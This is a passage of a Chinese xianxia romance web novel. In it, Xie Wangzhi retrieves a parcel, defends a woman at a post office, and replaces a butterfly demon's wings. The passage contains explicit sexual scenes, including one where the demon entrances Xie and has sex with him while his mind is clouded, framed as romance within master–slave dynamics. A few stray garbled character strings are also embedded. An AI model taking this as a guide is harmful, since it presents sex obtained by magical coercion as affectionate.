而池越依然清醒而兴奋,听着对方的呼吸声,忍不住从怀中取出那条巾帕,放到自己身下。 那里也很想念谢妄之。 第28章 里头装的是一柄剑鞘和……… 翌日。 池无月已经恢复了正常,他醒来时发现自己手里正攥着一方巾帕,下意识放到眼前一看。 只见乳白色污浊将整洁巾帕浸润得皱巴巴一片,大片干涸的痕迹将上头绣的“谢妄之”三字玷污得彻底,微微的石楠花香混着清幽的木香钻入鼻腔,叫人面红耳赤。 他不由睁大了眼,又惊又羞,慌忙掐诀清理干净,默了会儿又将巾帕折好收入怀中。 他对整晚发生的事毫无印象,也不知这条巾帕怎么来的。 但他不打算还。 * 谢妄之请了假去信局取东西,身边还是跟着三个人,虽有些无奈,但也没有阻止。几人共同乘坐马车到扶摇城的信局。 扶摇是北荒最大的城镇,扶摇信局也是北荒最大的信局。 但整个北荒城镇不少,信局却寥寥无几,是以,此处的信局几乎集结了起码半个北荒的信件。 谢妄之几人进去,首先入目的是好几堆快垒到房梁的货,地上也有好些,小山一般杂乱堆着,几乎无处下脚。 几个看打扮是信局的工作人员正忙着满地分拣归类,头也不抬,各个满脸倦色,无精打采,身上的怨气比鬼都重。地上明明还有好些没分,但又有一批接一批的信件源源不断送进来。 除他们以外,还有好些来信局取件或是索赔的人,排着队围在柜台前面,列了好几道长龙,吵吵嚷嚷的: “老子东西呢!那可是价值几千上品灵石的宝器!若是丢了你们赔得起么?” “分明昨日才跟奴家说送到了,怎么今个奴家来取,又说没有了呢?你们这是在耍人玩么?” “喂,给我送来的东西怎么缺斤少两啊,你们到底怎么送的信?莫不是被你们私吞了吧?” 谢妄之闻声扫了眼挤满人的柜台,不由微微蹙眉,停在原地不想过去。撇开头时,眼角余光忽在人群中瞥见一抹略有些眼熟的身影。 那是初晴姑娘。 同曾经见过的一般无二,少女着一袭青翠长裙,盘着双髻,发间别着两枚雪白绒球,垂下青竹色的流苏,搭在耳廓两侧随风晃动,模样清丽明媚。 印象中的初晴姑娘温柔腼腆,此时却表情冷肃,站在柜台前,叉着腰,素手重重一拍台面,与一名信局里的差使争得脸红脖子粗: “什么叫不重要的东西!多少人等着那些东西救命呢!若是他们因你死了,你担得起这几百条人命么!?你今日不给老娘找出来,老娘亲手拆了你这信局!” “哎哟,我的姑奶奶!”信局差使抓狂一般双手挠头,又合掌朝初晴拜了几拜,语气愁苦,“不是小人不愿给您找,实在是小人找不到啊,而且小人实在是忙不过来了。您瞅瞅,您身后还有多少大人等着呢。” 每个来信局取件的人,都需按信驭艳微件价值的一定比例付给差使赏钱。初晴取的东西廉价,又不好找,她后头还排着一堆贵客,信使自然不愿花费时间精力。 “是啊是啊,快点吧,你一人得耽误大家多少时间。”排在初晴后边的人也是怨声载道。 队伍中有一位看上去非富即贵、大腹便便的中年男子,见状不耐烦地大手一挥,扬言道: “左右不就是些凡人治病的药材,不值钱的,丢了便丢了,大不了这钱由我来赔给姑娘,你再另外去买就是了。凡人的东西,随处都能买。你别在这争来争去的了,姑娘家家的说这些话,这场面多难看。” 说着,他状似大方地取下腰间系挂的一个锦囊,从里头抓出一把灵石,捏在手里掂量掂量,又放回了一点才递出去,跟施舍乞丐一样,微抬下颌,高高在上道:“这些够了吧?来,拿去。” “呵,真是好笑。”初晴冷笑了声,回头瞥了眼那个中年男人,双手抱臂,“他信局弄丢了我的东西,我只是要他帮我找出来还给我,倒成了我的不是了?姑娘家家在这争怎么你了?你不就是有几个臭钱,神气什么?” 说着,她眯眼打量了一下对方,倏然勾唇一笑,笑容明媚,语气却嘲讽:“还一口一个‘凡人’,你以为你有得是钱买丹药,靠丹药堆上的练气圆满,你就不是‘凡人’了吗?以你的资质,这辈子能不能成功筑基还不知道呢。” 周围一堆人看热闹,闻言立即窃窃私语: “原来他是吃丹药吃出来的修为?这姑娘是怎么看出来的?好生厉害。” “连练气阶段都要吃丹药?我看还是别修了吧,这修出来也没用啊。” “我、我可没吃过丹药!这女人在瞎说八道!”那中年男人听见周围人的议论,立时气得面色铁青,恼羞成怒,忍不住伸手指着初晴,指尖微微发抖,“你、你别不知好歹,给脸不要脸!” “怎么?”初晴勾唇一笑,眼中嘲讽更甚,“被我说中了,自卑了?” “你!敬酒不吃吃罚酒!你们几个,给我按住她!” 男人怒不可遏,竟要指使家仆当众动粗。他自己修为不怎么样,但他有得是钱,能雇别人,身边跟着的几个家仆竟然都是金丹。 眼见几个大汉朝自己靠近,而周围看客不想惹麻烦,也不够实力管,有的早就对初晴耽误时间颇有微词,还有些人不明情况,尚在犹豫观望,最后竟是无人出手相帮,初晴不由沉下脸。 “住手。” 剑拔弩张之时,一道低沉悦耳的嗓音传来。紧接着,众人便见几个金丹修为的家仆忽然像是被定身了,僵在原地一动不动。 中年男人还有些反应不过来,见状怒道:“都愣着做什么,上啊!这月的工钱不要了是吗?” 家仆惊恐地颤声回道:“不是啊大人!是我们动不了了!” “什、什么?”男人睁大眼,后知后觉扭头看声音传来的方向。 只见一名年轻的贵公子抱臂走近,面容俊朗,嘴角噙着散漫的笑,着一袭织金黑衣,身材颀长高大,足比他高了一头,身后还跟着三个同样姿容卓绝的美人,各个器宇不凡。 他们走过来,气场十足,当即吸引了众人的目光,自觉往边上让道。 谢妄之方才站在不远处瞧了好一会儿,只觉有趣,忍不住走上前。他居高临下看着那个男人,微笑道:“你刚刚说要干什么?” “谢公子!你怎么也在这?你也有东西要取么?” 站在边上的初晴一见是他,顿时双目一亮,快步迎上来,随即又想到自己方才的模样恐怕也叫人知道了,不由面色微红。 “嗯。”谢妄之轻轻颔首,没有多的反应。 那中年男人一听他姓“谢”,看上去也是一副惹不起的样子,又见他们两人认识,当即换了副嘴脸,点头哈腰赔笑道: “谢、谢公子说笑了,这都是误会,误会,小人没有要做什么,是小人眼拙,冲撞了这位姑娘,先给姑娘赔个不是,还请姑娘海涵。” 初晴姑娘撇开头冷哼了声。 “呵,欺软怕硬的东西,滚吧。”谢妄之嗤笑,懒得再理会,当即走向柜台。 “是、是,这就滚。”谢妄之话音落下,几个家仆又能动了,中年男人不敢再造次,当即领着人出了信局。 而柜台这边。 有人在信局里闹事,本该由信局的人出面制止,可那信使对初晴有意见,暗想着借他人之手把她“请”出去,便迟迟没有喊人过来。 此时见尊贵的谢家公子为初晴出头,吓得一张脸都白了,脊背都湿润,不由搓着手满脸堆笑道:“谢、谢公子,您也要取件么?” 谢妄之“嗯”了声,手指轻点了点柜面,微笑道:“本公子不着急,你先把初晴姑娘要的东西找出来。” “是、是。” 信使勉强笑着答了一句,当即转身去给初晴找东西,确实找了许久,但谁都不敢有怨言,是好几大麻袋的药材,加起来足有上百斤。 谢妄之本想帮着提一下,未想到初晴伸手,指尖华光一闪,竟将所有麻袋都收入虚纳戒中,又随便将一块中品灵石丢在柜面上,中途睨了眼信使,一副能给更多,但不想给的样子。 虚纳戒可不是随随便便什么人都能有,一枚起码价值几万上品灵石,空间大概只有一个小篮子。而初晴的虚纳戒,起码能装下几个大麻袋,价值更不必说。 信使当即瞪大了眼睛,悔得肠子都要青了。谢妄之也有些意外,眉峰轻轻一挑,但也没说什么。 直到两人的东西都找到,众人一同出了信局。 “谢公子,方才真是多谢你了。”初晴跟在谢妄之身边,大概是因为事情都解决了,又恢复成从前刚认识她的样子,“若不是你也在这里,初晴真不知该如何是好。” “不必客气。以初晴姑娘的身份,想必自己就能解决。”谢妄之微笑回应。 “谢公子又帮初晴一次,初晴记下了。我还有要事在身,就不多叨扰了。”初晴温温柔柔地一笑,朝他欠身便离开了。 而回到客栈,几双眼睛同时盯着谢妄之拆除包裹,却见里头装的是一柄剑鞘和……一对蝴蝶翅膀。 二者大概是用同一种材料做的,一拿出来便满室生辉,璀璨华光如水一般流淌,折出斑斓色彩,叫人目眩神迷。 裴云峰和白青崖当即沉下脸,而池无月像是早就知道,神色淡淡。 裴云峰瞥了眼呆怔住的司尘,冷笑了声,质问道:“你没事定做一对翅膀做什么?哪里来的材料?” 第29章 “主人,我好疼,再摸摸…… 话虽是裴云峰问的,但明显另几人也想知道为什么,几双眼睛同时盯着谢妄之,如临大敌一般呼吸微沉,身体紧绷。 空气一时沉寂,竟令谢妄之莫名感到了一丝压力。他不由轻轻挑眉,扫了眼众人:“怎么,你们有意见?” 白青崖率先撇开头,冷着脸不说话,眼角余光却仍注意着谢妄之这边。 “呵。谢二公子向来想做什么便做什么,云峰在谢二公子心里又占不上一席之地,哪敢有意见?”裴云峰站在谢妄之对面,抱臂冷笑了声,语气锋锐,说着也撇开头。 分明谢妄之还未回答,他像是心里已有了失望的答案,眼眶微微发红,默了会儿又忍不住,咬牙切齿道:“……真不知道你没事养这么多奴隶干什么。” 池无月轻蜷了下指尖,垂下眼睑。 只有司尘双眸一眨不眨地盯着谢妄之看,淡金眼眸如晴空下雨,目光落在人身上似乎能感觉到微微的炽热,还有些湿润。 “没有为什么,只是顺——”只是顺便。 谢妄之张嘴,可对上司尘的眼神,话音莫名一顿,随即忍不住轻叹了声,改口道:“你的翅膀坏了,既然材料有多,给你弄个新的也不妨事,何况这流光丝本就是你的。” “谢谢,主人对我真好。”司尘弯了弯眸,额顶的细长触角也愉悦地微微颤动,“我好高兴。” “嗯。高兴就好。”谢妄之浅淡应了声。 另几人不悦眯眼。 “呵!你家主人对你可真是太好了!”裴云峰憋不住,又冷笑了声,继续阴阳怪气,声音像是从牙缝里挤出,“谁家收奴隶是像谢二公子这样宠着的?” 给别人刻奴印,本就是一种羞辱行为。修仙界中收奴隶的人并不鲜见,目的也大多相同,差不多的不甚光彩,大家也心照不宣。但如谢妄之这样对待奴隶的,确实少见。 “……”谢妄之无言以对,还有些恼,不由眉心微蹙,抱起双臂回嘴道:“本公子想怎么对奴隶那是我的事,你管得着么?” “呵。谁能管得了你?我可不敢管。”裴云峰扫了眼身边的白青崖,皮笑肉不笑,语气嘲讽,“我只是在担心,还会有别人上赶着给谢二公子当狗,你宠不过来可怎么办。” “……”白青崖抿起嘴唇,耳廓微红。 “是么?不劳你费心。”谢妄之顺着对方的视线瞥了眼白青崖,嗤笑了声,“宠不宠得过来,等本公子多收几个奴隶就知道了。” “几个?谢妄之,你还想收几个奴隶?!” 裴云峰微微睁大了眼,猛地转头看谢妄之,双目紧盯着他,眼尾薄红愈加艳丽。 其余几人也是面色陡沉。 而谢妄之虽然感觉到压力,但面上只是无所谓地轻耸了下肩膀,神色不变。 见状,裴云峰轻勾了下唇角,似是气笑了,喉头轻滚了两下,嗓音微哑道:“谢妄之,你真是……好得很。” 他咬牙丢下一句便毫不留恋地大步出门去,还将房门甩得震天响,仿佛连整个门框都要被他拆下来带走。 白青崖和池无月微垂下头,虽没有裴云峰反应剧烈,但心中也是酸涩。 而司尘从头到尾只盯着谢妄之,忽然振翅飞到谢妄之近前,轻执起他的手放在唇边低头一吻,又缓慢掀起眼帘,软声撒娇道:“主人,你来帮我换上翅膀好不好?” 貌美的蝶妖说着又在他手背一吻,视线自下而上,额顶触角轻轻颤动,唇角微勾起讨好的弧度,模样温驯乖软,惹人怜惜。 被这张脸蛊惑,谢妄之任由对方动作,没有抽回手,甚至被裴云峰甩脸色的不悦都消散些,只是不解问:“你自己不能换么?” “换新的翅膀,要先将我原先的撕下来。”司尘说着眉心微拧,像是想起什么痛苦回忆,眸中微微湿润,又轻扁着嘴继续撒娇,“我怕疼,不敢用力,主人帮我好不好?” 池无月听了半晌,终于憋不住道:“要把翅膀撕下来,我也可以帮你,用不着劳烦公子。” 他勾唇冷笑,脊背上黑雾涌动,又补了句:“还很快。” 闻言,谢妄之微微蹙眉。 而司尘不搭理池无月,又低头在谢妄之的手背上轻轻一吻,继续撒娇:“主人,好不好?” 谢妄之没什么所谓,便应了声“好”。 司尘弯眸,笑容乖软,转头时立即沉下脸,对另两人冷声道:“我不想被不相干的人看着,请你们出去。” 另两人不约而同看向谢妄之,见他没有反应,默许了司尘的行为,面色不由愈发难看,但也没有多说什么,当即出了门去。 等屋里一空,蝶妖又转过脸,牵着谢妄之走到桌边坐下,跪在他身前,上身整个伏到谢妄之膝上,侧着脑袋枕上去,脊背上残缺的翅膀乖顺地向下垂落。 接着,他又牵着谢妄之的手往自己肩背上摸,嗓音微哑道:“主人,你可要记得轻一些。” “嗯。”谢妄之应了声,垂下头看蝶妖的肩背。 蝶妖并未束发,满头银白发丝如瀑倾泻,末梢在地上堆叠。他小心地把人头发尽数拢住,揽到身前,露出脊背大片雪白光洁的肌肤。 由于背上生着翅膀,为方便活动,蝶妖上身的衣物相当轻薄,肩膀与大半个脊背都敞着,一眼就能看到翅膀的根部,从皮肉中伸出,两者紧密相连,不敢想若是生硬撕下,会是什么样的场面。 谢妄之伸手轻触上去,来回摩挲了下,有些不忍,“确定是从这里开始撕么?” “是的。”司尘趴伏在他膝上,语气冷静没有波澜,“主人动手吧,残缺的翅膀留着也没有意义。” 闻言,谢妄之没再犹豫,指尖凝聚灵力,按在翅膀与皮肉相接处,以手作刀,一寸寸往下划。 他想着长痛不如短痛,动作便快了些,不过一息,一半翅膀便被他割下,如一片鹅毛大雪般轻盈坠落地面,没有发出丝毫声响。另一半翅膀也是依法炮制。 即便他动作快,司尘仍是痛得浑身发抖,双手紧攥着他的衣物,指尖用力得泛白。手背手臂浮起道道青筋,被雪白肤色一衬,更加明显。 对方脸颊埋在他双膝里,隔着两层单薄衣物,清晰传来一片湿热触感,甚至将布料洇湿些许。即便如此,蝶妖也没有发出任何的声音。 而被连带着撕下些许的那两处皮肉开始往外渗血,好在谢妄之动作精准,伤口并不大。 谢妄之给人掐诀止血,又从虚纳戒取出罐药膏,尽量轻柔地在伤处仔细涂了药。 大概是药物有些刺激,对方身体抖得更厉害些,眼泪一瞬汹涌,他也明显能感觉到,自己的裤子本来微微变凉的部分又重新变得温热。 “很疼么?抱歉。” 他不由动作一顿,收起膏药,犹豫了片刻,还是抬手放在对方发顶轻抚了两下。 顿时,对方将他的衣物攥得更紧,而后轻摇了摇头,但还是没有出声。 空气一时沉寂下来,谢妄之搜肠刮肚不知该怎么哄人,视线不由落在别处,看向散落在地的两片翅膀。 即便残缺,那两片翅膀依旧美丽得无与伦比,v娱演仿佛是被烈火烧灼,外缘形状虽是毫无规则,却也别有一番韵味。 又等片刻,司尘终于缓过劲,自他膝上抬起头,又像是怕他看见自己的脸,飞快埋进他怀中,双臂抱紧他的腰,闷声闷气道:“接着把新的翅膀贴上去就好了。” 谢妄之依言照做,仔细比对了位置才放上去。 只见方才上药的皮肉发出一道华光,伸出几缕透明的流光丝线,缠绕住新的翅膀固定。 接着,司尘试探着轻轻振翅,两片流光溢彩的崭新蝶翅扇动起来,激起发丝轻扬,像是新长出来的一样,完全看不出先前是粘上去的。 谢妄之惊奇挑眉,忍不住又伸手轻触蝶翅与脊背相接的皮肉,“你这里还会疼么?” 手指刚触上去,怀中人便轻轻颤抖起来,双臂将他搂得更紧,而后不住点头,微微哽咽:“主人,我好疼,再摸摸我……” 才哭过,蝶妖嗓音低哑,带着些鼻音,听来楚楚可怜。谢妄之心上一软,手掌又在人后脑轻抚了几下,同时另手试探着按在对方伤处,“要再给你上一遍药么?止疼的。” “嗯!谢谢主人!” “嗯。”谢妄之便又给人上药。 蝶妖赖在他怀中,抱着他不肯撒手,刚换上的蝶翅不时轻轻扑打两下,接着又温驯地舒展开来。 而谢妄之专注给蝶妖上药,浑然不觉对方的蝶翅不停向前包拢,柔软似水,像是要将他围困起来。 等谢妄之涂好药,刚把药膏收回,还来不及把人推开,对方双臂搂着他的腰,猛地振翅飞起,一瞬间便将他带到榻上,双膝置于他身体两侧,将他压到身下。 而他亲手换上的蝶翅也温驯地向下垂落,却是将他包拢,似两道透明而璀璨的墙。 第30章 “你从头到尾只是把我当…… 猝不及防间,视野一瞬天旋地转,脊背陷进柔软床褥。 谢妄之仰面躺倒,抬头时只见司尘居高临下地望着他,双臂撑在他头颅两侧,银发垂坠在他脸颊与脖颈,传来细微酥痒。 他视线往下,注意到两人现在的姿态,不由微微蹙眉,伸手要把人推开,“做什么?” 还未碰到对方肩膀,他先被人捉住手腕放到唇边亲吻。司尘垂眸盯着他笑,模样乖软,“主人送我这样的礼物,司尘无以为报,只能以身相许了。” “大可不必。” 近日实在太多次了,谢妄之现在没有想法,说着便要把手抽回。 司尘却将他攥得更紧,淡金眼眸笼上一层阴翳,面上仍是笑得乖软,“那主人为何要送我翅膀?” “送翅膀怎么了?”谢妄之不解。 “在我族,这是发出交/尾邀请的意思。”司尘说着微微侧头,伸舌轻舔了下他的手腕内侧,双眼仍紧盯着他,眸色一点点掺了橙红,“而我接受主人的邀请。” “……我哪里会知道这些?你们的规矩又关我什么事?”未想到好心做的事倒成了陷阱,谢妄之有些懊恼,咬牙应了一句便又要将手抽回。 对方却不依不饶,将脸颊贴上他的掌心轻蹭,微扁着嘴唇,委屈巴巴地问:“那,那主人也不关心司尘的性命么?” “怎么?”谢妄之不解蹙眉,但还是顿住动作,“这又是你们的什么规矩?” 司尘仍贴着他的掌心:“不知主人这段时间是否有注意到,司尘有时精神不济,总觉得困倦,在路上时常昏昏欲睡?” 谢妄之回想了一下,记起司尘坐在他肩膀,有时会靠着他脖子睡过去,便轻点了下头,“嗯,怎么?” “那你知道,我族若是有了心上人,之后要靠什么维生么?” 司尘说着又偏头亲吻他的掌心,双眸仍紧盯着他,蛊惑一般嗓音低哑柔软,眸底掺入更多橙红色泽,似落日熔金。 见谢妄之抿唇不答,像是心中隐有猜测却羞于启齿,司尘不由轻笑了一下,又补充道: “其实在遇见主人之前,司尘一直都在沉睡,偶尔才醒来一会儿。直到主人好心收留我,又喂了我精元——” “闭嘴!”谢妄之只觉面上微热,忍不住出声打断对方。 司尘乖乖停住,默了会儿又委屈巴巴地道:“可是直到现在,主人就喂了司尘那一次,实在太少了。是司尘做得不够好么?主人为什么去找了别人?” 说着,对方像是想起什么可怕的回忆,长睫轻颤,眸中水光闪动,声音更低哑: “我睡着的时候一直在做噩梦,梦见我不停地死去,困在一片黑暗里直到窒息,好痛苦……谢妄之,我好怕我再也醒不过来了,我好怕再也见不到你……” “……” 妖魔中以此维生的并不在少数,而司尘也表现得煞有介事,一番话说到后头竟有些哽咽,模样真得不像假的,令谢妄之一时犹豫,微抿起嘴唇。 在他沉默时,司尘仍紧盯着他的双眼,眸色深浓,像掺了血。 他不知不觉间盯着看了许久,只觉神思像是坠入一团柔软的云中,惬意得犯懒,有些困倦,竟眼睁睁看着司尘又伸舌舔舐他的手腕,不作丝毫反抗。 那抹殷红色在他手腕间流连徘徊,湿亮的水迹一路蜿蜒至掌心、指根,又在他的指尖缠绕。 湿热的酥痒从指尖递送到心里,触电般连带胸口都发麻,令谢妄之不由缩了下手指。 下一刻,他的指尖立即被那抹殷红吞没,缠裹着陷入一片泥泞沼泽,触感潮湿而柔软。 直到对方将他松开,仍恋恋不舍舔舐着他的指尖,银丝自半空滴落,眼眸陶醉地微微眯起,额顶触角愉悦颤动。 而谢妄之如梦初醒,下意识抽回手,又抬腿朝人踹了过去。未想到,对方竟趁势欺身上前,捉着他的双手锢在头顶,俯身吻了下来。 唇贴着唇,呼吸相闻,那双会蛊惑人的眼睛也猛地凑近,谢妄之根本抵不住,才挣扎出温柔陷阱的神思又再度沉沦。 他仰脸看着束于床顶的幔帐,眸光微微失神涣散。只觉脸上不停淋下一阵湿热的雨,耳畔充斥着一片粘稠的水声,还有明显的吞咽声。 接着是一阵窸窸窣窣的声响,胸腹到腿根微微发凉,随即又感觉到湿热与酥痒。 万千虫蚁在身上四处乱爬,令浑身不住颤栗,腰眼酸麻。难耐的燥与痒交织着在喉间积聚,直到失声勃发。 他的双手被禁锢在头顶,袖口滑落至臂弯,握拳时手臂肌肉收缩,绷出流畅性感的弧线。衣襟大敞,汗珠顺着胸腹连绵起伏的山岳滚落,积在腰胯肌肉营出的沟壑。 英俊眉眼染上薄红,湿润鬓发贴着颌角,往日锋锐深邃的轮廓只在此刻柔和些许,透出难言欲色。 谢妄之胸膛剧烈起伏,大口喘息。眼前忽然落下一只白皙修长的手掌,将他的视野罩住。 司尘笼着谢妄之的双眼,眯眼欣赏片刻对方现下的模样,才俯身凑近对方耳畔,低声问:“谢妄之,难道你只是心疼我么?哪怕只是……” 哪怕只是喜欢一点点呢。 他睡得太久、等得太久了,快要没有耐心了。 然而谢妄之的神思仍懒惰,顾不上回答。司尘忽然生了气,猛然在他唇上重重一咬,又侵入他的唇齿,舌尖带着黏腻潮热的腥气。 直到对方将他松开,却又伏下身继续,后来又贴上一片滚烫。 对方紧贴着他厮磨,又倾身与他接吻,为避免鼻梁硌到他,微微侧着头。 他的视线越过对方额顶不住颤动的触角,又落到床顶,发现幔帐不知不觉间已然垂落,不停摇晃,似水面闪动着粼粼波光。 直到浑身大汗淋漓,谢妄之终于清醒些,但已经拦不住了,屋内弥漫着令人脸热的潮腥气,蝶妖仍亲昵地吻着他汗湿的脸颊与嘴唇,气息与他纠缠。 谢妄之忍不住撇开头,微微蹙眉,“还不够么?” 司尘不依不饶,用脸颊蹭着他撒娇,语气愉悦兴奋,“他们送翅膀,总是只有一小瓣。但主人送了完整的两片,司尘必须要让主人尽兴才行。” 他说着,眸色又变得暗沉,面上仍是乖软的模样,“一定是因为我上次做得不够好,主人后来才不再找我。机会难得,我要更努力些。” 谢妄之不来找他,他当然可以主动去找。但是那个该死的池无月总是用黑雾将他困住,迫他陷入沉睡。 “……不是。”谢妄之忍不住反驳。 但不等他说更多的话,司尘又执起他的手掌,将脸颊置入他掌心,目光灼灼: “司尘不敢奢望成为主人的唯一,我只希望主人偶尔能记起我。我会努力做得更好的,主人多来找我好不好?” * 谢妄之被缠了许久,等走出客栈已是至少一个时辰之后了。 他们的马车还停在客栈不远处,谢妄之掀起帘子跨上去,却见里头只坐着一个白青崖,抱着双臂,靠在车壁闭目假寐,闻见声音,冷睨了他一眼又闭上,一副生人勿近的样子。 “裴云峰呢?”谢妄之随口问了一句。 “先走了。”对方言简意赅。 谢妄之“哦”了声,随意寻了个位置坐下,掐诀令马车行驶,之后也不再说话。 车厢里一时静谧,气氛有些压抑,白青崖忍不住睁眼看过来,冷声道:“你只想和他待在一起么?” “什么?”谢妄之没听明白,只觉莫名其妙,不由微微蹙眉。 对方却不愿解释,冷哼一声便撇开头。 谢妄之也没管他,过了会儿才反应过来。 车厢内的空间就那么丁点大,偏偏谢妄之挑了个离白青崖最远的位置,几乎与人呈对角线。 他有些忍俊不禁,却又故意冷嘲热讽:“你不是不想理我么?我为何还要自讨没趣?” 未想到,他这句像是落入草原的火星,白青崖猛地转脸看他,厉声道:“分明是你不守信用在先!” 谢妄之怔了一下。 而白青崖说着眼眶微微发红,嗓音低哑地控诉:“那天,你明明说了,只给我……” 他说着又顿住,回想起那天谢妄之说的原话,其实谢妄之并没有完整地说“只给你”,而只是说“给你”。 直到此时,他才反应过来这只是一个文字陷阱。 他气笑了,只觉眼眶与鼻头都发酸发热,喉里像是吞了石子,出口的嗓音哑得不像话:“谢妄之,原来你都是骗我的么?你从头到尾,只是把我当狗玩?” 说到后头,白青崖已经哽咽,双眸愈加湿润,水光潋滟。 “不、不是,白青崖,你……”谢妄之顿时心虚,支支吾吾说不出话。他当时确实存心逗弄。 而白青崖见他根本不辩解,泪水猛地夺眶而出,眼角滑下湿痕。 谢妄之愈发心虚,却又不敢承认是自己做错,忍不住脱口道:“你们怎么都这么爱哭?” “你们?” 白青崖轻声重复,气到极点反而冷静下来,只是勾唇笑了一下,“所以呢?他们也向你哭了?只要一哭,你就会心软,什么都会答应,是吗?” 30-40 第31章 他不介意谢妄之有别人。…… “当、当然不是……” 见白青崖流着泪控诉,谢妄之愈发心虚,无意识蜷着指尖,连话都说得磕绊,辩解得也很苍白,接着实在不知道说什么,竟是又让空气沉寂下来。 于是白青崖更生气也更委屈,紧盯着谢妄之看了会儿,只觉视野愈加朦胧,几乎看不清对方的脸,最后强迫自己撇开头,紧咬着唇试图憋住哭声。 他看着别处默默哭了会儿,对面始终无动于衷。心里更加委屈失望的同时,竟开始懊悔和恐慌。 都认识这么多年了,难道谢妄之是什么样的人,他不清楚吗? 好不容易能离得再近些,他为什么又非要提这件事,为什么非要强求?就当作他不知道,这样谢妄之还会像以前一样主动亲近他,不好吗? 他现在这样争风吃醋、咄咄逼人,谢妄之会对他不耐烦吗? 白青崖愈加慌乱,本来只是不想看谢妄之自知玩弄他而心虚的表情,这会儿却是害怕撞上对方凉薄无情的眼神,而不敢回头。 心中思绪万千,恐慌到底占了上风,他正欲转头主动求和,忽闻见一阵足音,随即头顶笼下一片阴影。 他似有所觉转过脸,未想到,方才还离他很远的人,忽然一下站在他面前。 他下意识要仰起头,而谢妄之刚好伸出手,掌心覆住他的侧脸,温热指腹在他眼尾轻轻一抹,低声道:“抱歉,是我作弄了你。都是我不好,你别哭了。” “……”眼泪一瞬汹涌,他死死咬紧了牙。 对方又用手帮他擦了一会儿,大概是见他慢慢稳定了情绪,收手往后退开一步,默了会儿又低声开口:“以后,我不会再那样对你了。” “……什么?”白青崖微微一怔。 谢妄之垂着头看车底下铺着的软垫,斟酌着措辞,续道:“你若是不想见到我,我会尽量不出现在你面前的。” 话音落下好一会儿都没听见白青崖回应,只传来粗重的呼吸声。 谢妄之等了会儿,煎熬的同时不由有些疑惑,下意识抬起头,正撞入一双湿润发红的眼。 “谢妄之!” 对方眉心紧拧,看他的眼神锋锐如刀刃,眼尾却不断滑下透明湿痕,嗓音沙哑得不像话,带着浓重鼻音,咬牙切齿:“你觉得我要的,是这个吗?” 谢妄之神色一怔,还未及反应,手腕忽被对方攥住,猛地往前一拉。他猝不及防,身体一瞬失衡,顺势前倾,竟扑入对方怀中。 紧接着,后脑被人掌住,腰肢也圈上一条手臂,猛地使力向内收拢,迫使他彻底跌坐在对方怀中,双膝分置于对方身体两侧。 他正顾着重新维持住身体平衡,炽热的唇已经压了下来,含着愤怒与不甘,竟让柔软的舌都变得坚硬,蛮横侵入,肆意攻城略地。 喷在脸上的气息灼热粗重,像是一阵瓢泼热烫的雨。可雨水顺着脸颊轮廓往下流淌进嘴里,尝起来竟十分苦涩。 谢妄之本要把人推开,又不由顿住动作,随即强迫自己慢慢放松身体。犹豫片刻之后,又伸手在人脊背来回轻抚,试图安慰。 但对方并不理会,只一味地不停与他纠缠,又强将他掳到自己的地盘,不住吸吮吞咽。 马车驶过喧闹市井,微风掀起车帘一角,灿金的日光与嘈杂的人声一瞬钻入,打在侧脸、近在咫尺,仿佛他们在大庭广众之下行苟且之事。 而白青崖不管不顾,双手紧箍着谢妄之的后脑与腰肢,用力向里收拢,抱得他只觉呼吸不畅,骨头都发痛,仿佛要被嵌进对方的身体。 他忍不住挣扎,可他们现在的姿态太过亲密,令他没有着力点,甚至腰腹处传来的热烫触感愈加清晰,令他脸热,还有些恼火。 直到他舌尖舌根都发麻发痛,对方才愿意将他松开些许。 虽是温驯地仰着脸看他,望过来的眼神却漆黑暗沉,幽幽绿光一闪而过,仿佛夜晚孤身一人走在深山中,不经意间抬头却撞入猛兽的双眼,一瞬间令人头皮发麻、脊背湿润。 谢妄之下意识高扬起手,快落下去时又顿住,随即慢慢放下来,又忍不住轻叹了口气,“你不是……你想要我怎么做?” “像现在这样就好。”白青崖又吻他的唇。 谢妄之微微睁大了眼,忍不住偏头避开,追问道:“你不怨我么?” “……”对方蹙了下眉,但很快又舒展开来。却是不答,只轻扯了下唇角,笑意却难掩苦涩,接着又轻轻摇了下头。 谢妄之顿时感觉到胸口微微一缩,不由沉默下来,接着便挣扎着要落地。对方却将他抱紧,伸手要探入他衣襟。 “等等!”谢妄之一怔,连忙把人按住,“现、现在不行,还在马车上呢。” “晚上?”白青崖微微蹙眉,却依言止住动作。 “……晚上也不行。”谢妄之轻咽了口唾沫。他感觉自己再这样下去,也可以收拾收拾转去修合欢道了。 白青崖没有马上接话,看他一会儿忽然轻轻勾唇,眼中却毫无笑意,如雪一般冷,压低嗓音问:“不是说换翅膀么?你们,还做了什么,要那么久?” “……”谢妄之又心虚起来,微抿着唇,接着又忍不住撇开视线。 “呵。”其实白青崖早就猜到,此时见他心虚不答,忍不住冷笑了声,眼眸微微眯起,声音冷得仿佛能掉下冰渣,“你们,弄了几次?” “……”谢妄之保持沉默。 神思沉沦在蝶妖的幻术中,他并不清楚。但饶是他身体强健,现在都觉得有些疲惫,大概……? “呵。” 白青崖气得发笑,双目紧盯着他,声音低哑艰涩得像是从牙缝里挤出:“谢妄之,我不介意你有别人,但你不能这么偏心吧?” 他接受了谢妄之有别人,忽然间感觉胸口的窒息痛苦一下减轻了些,而且是谢妄之玩弄他在先,他好像一下占据了有利的地位,仗着对方心虚心软,竟敢这样放肆地提出要求。 “没有偏心,只是……”谢妄之忍不住反驳,但说到一半又闭上嘴。 其实谢妄之没有偏心,只是不怎么拒绝。 但落到白青崖眼里,根本不是这么回事。 “那就换你帮我。” 白青崖又气笑了,手掌按着谢妄之的后脑,迫使对方低下头与自己接吻。另手攥住对方的手腕,牵引着人伸向自己。 而谢妄之其实觉得没什么所谓,甚至还轻舒口气,任由对方按着自己的手背动作。 此时马车驶入一片幽静的竹林,枝叶被风不断爱抚奏响。车帘也被风吹起,几缕光线倾泻,沾到指尖,又缓慢滑落到掌心。 谢妄之被对方抱坐在怀中,一手压着他的后脑,另手覆着他的手背。唇舌也被人攫住,彼此呼吸随节奏相缠,粘稠得不分你我。 直到手心湿漉漉一片,白青崖才将他松开,又将脸颊埋入他颈窝,大口喘息,又来回贪婪嗅闻。 “够了吗?” 谢妄之总算放松些,忍不住要抽回手。对方一瞬间加大力道按住他,在他怀中不住摇头,脸颊贴着他的脖颈来回轻蹭,又像条狗一样撒娇。 “但是你家要到了。”谢妄之被蹭得痒,忍俊不禁,又有些无奈。 “……好吧。” 